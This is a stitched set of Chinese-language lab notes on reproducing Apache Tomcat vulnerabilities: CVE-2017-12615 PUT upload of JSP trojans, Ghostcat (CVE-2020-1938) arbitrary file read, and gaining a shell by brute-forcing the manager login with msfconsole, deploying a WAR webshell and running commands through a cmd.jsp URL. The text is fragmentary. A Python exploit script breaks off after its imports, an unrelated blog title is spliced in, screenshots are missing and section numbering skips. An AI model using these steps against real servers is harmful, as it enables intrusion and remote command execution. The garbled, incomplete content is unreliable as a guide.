0x00 CVE-2017-12615（任意文件上传）

1、介绍

当 Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后，JSP 文件中的代码将能被服务器执行。
经过实际测试，Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数，需要手工添加，默认配置条件下不受此漏洞影响。

2、影响版本

Apache Tomcat 7.0.0 - 7.0.81

3、搭建

docker

4、复现

方法一：

linux的kali进行put写入木马

 

 

方法二：

直接打脚本，原理就是构造一个请求包。（用python2，用python3的话会因为没有括号报错）

import requests
import sys
import time

CVE-2020-1938漏洞复现（幽灵猫）_muddlelife的博客-CSDN博客_cve-2020-1938

1、介绍

Java是目前Web开发中最主流的编程语言，而 Tomcat 是当前最流行的 Java 中间件服务器之一，从初版发布到现在已经有二十多年历史，在世界范围内广泛使用。
Ghostcat（幽灵猫） 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞，由于 Tomcat AJP 协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件，例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下，配合文件包含的利用还可以达到远程代码执行的危害。
这个漏洞影响全版本默认配置下的 Tomcat（在我们发现此漏洞的时候，确认其影响 Tomcat 9/8/7/6 全版本，而年代过于久远的更早的版本未进行验证），这意味着它在 Tomcat 里已经潜伏了长达十多年的时间。
影响版本

2、影响版本

• Apache Tomcat 9.x < 9.0.31
• Apache Tomcat 8.x < 8.5.51
• Apache Tomcat 7.x < 7.0.100
• Apache Tomcat 6.x

3、复现

可以在tomcat路径下创建一个test.txt文件，随便编辑内容，再用kali尝试读取

0x02 tomcat8（弱口令+后台getshell）

1、docker搭建环境

 

2、复现

msf暴破tomcat后台登录页面/manager/html弱口令：

msfconsole
search tomcat

 

 

 

 用弱口令登录/manager/html页面

 上传包含木马的war包getshell，准备好木马文件，这里上传

上传后在目录中找到上传的目录/caidao，木马文件就在这个目录下。

通过cmd小马执行命令：http://...:8080/caidao/cmd.jsp?cmd=id
